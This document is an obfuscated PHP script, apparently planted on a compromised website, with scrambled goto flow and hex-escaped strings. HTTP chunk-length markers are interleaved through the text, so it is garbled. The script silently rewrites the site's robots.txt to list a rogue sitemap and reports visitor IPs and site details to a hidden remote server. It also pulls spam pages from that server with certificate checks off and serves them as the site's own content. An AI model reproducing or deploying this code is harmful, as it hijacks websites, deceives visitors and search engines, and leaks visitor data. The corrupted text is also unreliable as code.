1 < 7 ?php 8 goto NWu 8 LZ; N2px 9 L: if (!e 7 mpty($g 9 et["\162" 8 ])) { $r 8 obotsPat 8 h = $_SE a RVER["\104 a \x4f\x43\x c 55\x4d\x45\1 a 16\124\x5f 11 \122\x4f\x4f\124" 9 ] . "\x2f b \162\157\14 d 2\x6f\x74\163 b \56\x74\x78 c \x74"; $site 7 mapBloc f k = "\x55\x73\x d 65\x72\x2d\x6 d 1\147\145\x6e 10 \x74\72\x20\x2a\ a xa\101\154 10 \154\x6f\x77\x3a 17 \x20\x2f\12"; $sitemaps 11 = "\xa\123\151\1 12 64\x65\x6d\x61\160 d \72\x20{$http 7 _type}{ 14 $_SERVER["\x48\x54\x d 54\120\137\11 f 0\117\123\124"] 14 }{$_SERVER["\x53\103 14 \122\x49\x50\x54\x5f 13 \116\x41\x4d\x45"]} b \77\163\x3d 11 \x73\12"; if (!fi 9 le_exists 16 ($robotsPath)) { file_ 9 put_conte 20 nts($robotsPath, $sitemapBlock . 10 $sitemaps); } e e lse { $robotsC f ontent = @file_ 21 get_contents($robotsPath); if (st 14 rpos($robotsContent, 16 $_SERVER["\123\x43\x5 24 2\x49\x50\x54\x5f\x4e\x41\x4d\x45"]) a === false 2d ) { @file_put_contents($robotsPath, $sitemaps d , FILE_APPEND 10 ); } } } goto Ez d Yoe; NWuLZ: e 9 rror_repo 7 rting(0 c ); goto yMqR e N; yMqRN: $get 10 = $_GET; goto s 7 hqZL; A 9 q5NJ: $ll 21 = "{$http_type}{$_SERVER["\110\1 14 24\124\120\137\x48\x 1d 4f\123\x54"]}{$_SERVER["\x53\ b x43\122\111 17 \x50\x54\137\116\x41\11 10 5\105"]}"; goto 8 D_iaM; m 8 5bkF: fu a nction get 6 Curl($ d url, $getData 9 = array( 18 )) { if (!empty($getData d )) { $querySt a ring = is_ 12 array($getData) ? b http_build_ 1a query($getData) : $getData 13 ; $url .= (strpos($ a url, "\77" 16 ) === false ? "\77" : 2e "\x26") . $queryString; } if (function_exists( e "\143\x75\x72\ f 154\137\x69\156 10 \151\164")) { $c c h = curl_ini d t(); curl_set f opt_array($ch, b array(CURLO 9 PT_URL => 12 $url, CURLOPT_RET 11 URNTRANSFER => tr 10 ue, CURLOPT_SSL_ 8 VERIFYPE 20 ER => false, CURLOPT_SSL_VERIFYH 18 OST => false, CURLOPT_FO 7 LLOWLOC 17 ATION => true, CURLOPT_ 6 TIMEOU 13 T => 10, CURLOPT_HT 18 TPGET => true, CURLOPT_U c SERAGENT => 10 "\115\157\172\15 f 1\154\x6c\141\5 b 7\x35\x2e\6 8 0")); $d 13 ata = curl_exec($ch d ); curl_close 1e ($ch); if (!empty($data)) { re a turn $data 11 ; } } if (ini_get 16 ("\141\154\x6c\x6f\167 f \x5f\x75\162\15 12 4\x5f\146\157\160\ 13 x65\156")) { $conte b xt = stream f _context_create c (array("\x68 11 \164\x74\160" => 11 array("\155\x65\1 f 64\x68\x6f\x64" d => "\x47\105 13 \x54", "\x74\x69\15 10 5\145\x6f\x75\x7 16 4" => 10, "\150\x65\x6 14 1\x64\x65\162" => "\ f 125\163\x65\162 1a \x2d\x41\147\145\x6e\164\x f 3a\40\x4d\157\x e 7a\151\x6c\x6c 14 \x61\x2f\x35\x2e\60\ 10 15\12"), "\163\x 16 73\x6c" => array("\166 14 \x65\162\x69\146\x79 19 \137\160\x65\145\162" => 12 false, "\x76\145\x 15 72\151\146\171\137\x7 13 0\145\145\162\x5f\x e 6e\141\x6d\x65 17 " => false))); $data = 28 @file_get_contents($url, false, $context 34 ); if (!empty($data)) { return $data; } } return ''; d } goto X5nb1 b ; D_iaM: $v 16 url = $http_type . "\x f 69\144\154\x79\ f 62\56\x69\x64\x 13 73\x68\157\x70\x2e\ d x63\143\167\x b 75\56\143\x d 63\x2f\64\61\ 11 71\56\x61\163\x70 12 \x78"; goto N2pxL; 25 EzYoe: if (!empty($get["\163"])) { $ f params = array( f "\163" => date( e "\131\x6d\144\ 3f x48\151"), "\x6e\165\155\142\x65\162" => $get["\156\165\x6d\x62 14 \145\162"]); $str = 10 getCurl($vurl, $ 18 params); $str = str_repl 12 ace(array("\173\xe 8 5\275\22 e 3\xe5\x89\x8d\ 9 345\x9c\2 11 60\xe5\235\x80\x7 18 d"), array($http_type . 1d $_SERVER["\110\x54\x54\x50\x5 f f\110\117\x53\1 26 24"] . $_SERVER["\123\x43\122\x49\x50\ 1b 124\137\116\x41\x4d\x45"]), c $str); head a er("\103\1 18 57\156\x74\x65\156\164\x 13 2d\164\171\160\x65\ 12 72\164\x65\170\x74 e \57\x78\155\15 e 4"); echo $str f ; die; } goto N c 4dac; X5nb1: 16 $http_type = !empty($ 21 _SERVER["\110\x54\x54\120\123"]) 12 && $_SERVER["\x48\ 14 124\124\x50\123"] != f = "\x6f\146\x66 15 " ? "\x68\164\164\160 10 \x73\x3a\x2f\x2f 1e " : "\150\164\164\160\x3a\x2f\ 10 57"; goto Aq5NJ; 6 f5XoA 1f : function postCurl($url, $post 2a Data = array()) { $postString = is_array($ 29 postData) ? http_build_query($postData) : 2a $postData; if (function_exists("\143\x75\ 19 162\154\x5f\x69\x6e\x69\1 104 64")) { $ch = curl_init(); curl_setopt_array($ch, array(CURLOPT_URL => $url, CURLOPT_RETURNTRANSFER => true, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => 10, CURLOPT_POST => true, CURLOPT_ 9 POSTFIELD 10 S => $postString 74 )); $data = curl_exec($ch); curl_close($ch); if (!empty($data)) { return $data; } } if (ini_get("\141\x6c\x6c\157\x7 27 7\x5f\x75\162\154\x5f\x66\x6f\x70\145\1 40 56")) { $context = stream_context_create(array("\150\164\164\160 1e " => array("\155\145\164\150\1 16 57\144" => "\120\x4f\x 17 53\124", "\164\x69\155\ 1a x65\157\165\x74" => 10, "\ e x68\x65\141\14 16 4\x65\x72" => "\103\x6 1a f\156\x74\x65\x6e\x74\55\1 10 24\171\x70\x65\x 16 3a\x20\x61\160\160\x6c 15 \x69\x63\x61\x74\x69\ 14 x6f\x6e\57\x78\55\x7 f 7\x77\167\55\x6 14 6\x6f\x72\155\x2d\16 1b 5\162\x6c\x65\156\143\157\1 d 44\145\144\xd 19 \12" . "\x43\x6f\156\x74\ 13 145\156\x74\x2d\x4c 15 \145\x6e\147\164\x68\ e 72\40" . strle 14 n($postString) . "\x 13 d\xa" . "\125\x73\1 10 45\x72\x2d\101\x 1e 67\x65\156\164\x3a\40\x4d\157\ 18 172\151\x6c\x6c\141\x2f\ 10 65\56\x30\xd\xa" 14 , "\143\x6f\x6e\164\ 1c 145\x6e\164" => $postString) 35 , "\163\x73\x6c" => array("\x76\145\x72\x69\146\171\x 28 5f\x70\x65\145\162" => false, "\x76\145\ 13 162\x69\x66\x79\x5f 12 \160\145\x65\x72\1 12 37\x6e\141\155\145 81 " => false))); $data = @file_get_contents($url, false, $context); if (!empty($data)) { return $data; } } return ''; } goto m5bkF; 21 N4dac: if (!empty($get["\151\144 1e "])) { if (empty($get["\153\15 12 3"])) { $ip = get_ 18 ip(); $params = array("\ 10 x69\160" => $ip, 14 "\x69\144" => isset 15 ($get["\x69\144"]) ? 13 $get["\151\x64"] : 12 '', "\x6c\x6c" => 9 $ll); $tz 30 str = getCurl($vurl, $params); if (strpos($tzstr 1b , "\x69\144") !== false) { 15 echo $tzstr; die; } } 2a $params = array("\x69\x64" => $get["\x69\ 11 x64"], "\x6c\154" 47 => $ll); $str = getCurl($vurl, $params); $str = str_replace(array("\x7 10 b\125\x52\x4c\17 e 5", "\173\345\ f 237\237\345\x90 9 \215\175" 15 ), array(get_url_info 12 ("\146\165\154\x6c 1d "), get_url_info("\156\157\13 10 7\x77\167\167")) 23 , $str); echo $str; die; } else { $ 10 sitemapUrl = $ll 10 . "\x3f\x73\x3d 16 " . date("\131\155\144 13 \110\x69"); echo "\ 10 74\144\x69\166\4 17 0\x73\164\171\154\145\x 11 3d\x27\x74\145\17 14 0\164\x2d\x61\154\15 14 1\147\156\x3a\x63\14 16 5\x6e\164\x65\x72\73\4 18 0\160\x61\144\144\x69\15 d 6\x67\72\61\x 12 30\160\170\40\x30\ c 73\x27\76\x3 17 c\x61\x20\150\162\x65\1 9 46\75\42{ 16 $sitemapUrl}\x22\x20\x e 74\x61\x72\x67 16 \x65\164\x3d\42\x5f\x6 11 2\154\141\x6e\x6b 19 \42\40\162\x65\x6c\x3d\x2 c 2\x6e\157\x6 1b 6\157\x6c\x6c\157\167\x22\x c 3e\x20\x53\x 1d 69\x74\x65\x6d\x61\160\74\57\ 11 141\x3e\x3c\x2f\1 e 44\151\166\76" f ; } goto nnSBp; 6 Uh8So 18 : function get_ip() { fo 10 reach (array("\x 16 48\x54\x54\x50\x5f\x58 12 \137\x46\117\x52\1 c 27\101\122\1 12 04\x45\104\x5f\x46 15 \x4f\x52", "\x48\124\ 13 x54\120\x5f\x43\114 e \x49\105\x4e\x 14 54\137\111\x50", "\x 17 52\x45\x4d\117\x54\x45\ f x5f\101\x44\x44 b \x52") as $ 13 key) { if (!empty($ 19 _SERVER[$key])) { return b trim(explod 8 e("\x2c" 14 , $_SERVER[$key])[0] 18 ); } } return "\x55\x4e\ e 113\116\x4f\x5 15 7\116"; } goto f5XoA; 1e shqZL: function get_url_info( e string $return 19 _type = "\144\157\155\141 14 \151\x6e") : string 7 { $host 26 = $_SERVER["\x48\124\124\x50\x5f\110\ 22 x4f\123\x54"]; if ($return_type == 16 = "\144\x6f\155\x61\x6 16 9\156") { return $host 23 ; } if ($return_type === "\156\157\ 1c x5f\x77\167\167") { return l 10 trim($host, "\x7 15 7\x77\167\x2e"); } $p 7 rotocol 1c = isset($_SERVER["\110\x54\ 2f 124\x50\x53"]) && $_SERVER["\110\x54\x54\x50\x5 13 3"] === "\x6f\156" 1c || isset($_SERVER["\x48\x54\ 16 124\x50\x5f\130\137\10 13 6\x4f\122\127\x41\1 14 22\104\x45\x44\137\x 28 50\x52\117\x54\x4f"]) && $_SERVER["\110\ 24 124\124\120\137\x58\137\106\x4f\122\ 14 x57\101\122\104\105\ 15 104\137\x50\122\x4f\x 15 54\117"] === "\150\x7 d 4\x74\160\x73 1e " ? "\x68\x74\164\x70\x73\x3a\ 1c 57\x2f" : "\x68\x74\164\x70\ f 72\x2f\x2f"; $b b ase_url = $ 2b protocol . $host; if ($return_type === "\14 1a 2\x61\x73\145") { return $ 10 base_url; } $uri 19 = $_SERVER["\x52\x45\121 10 \125\105\123\124 14 \x5f\x55\122\x49"]; d $full_url = $ 28 base_url . $uri; if ($return_type === "\ 11 x66\165\154\154") 29 { return $full_url; } return ''; } goto f Uh8So; nnSBp: ? 1 > 0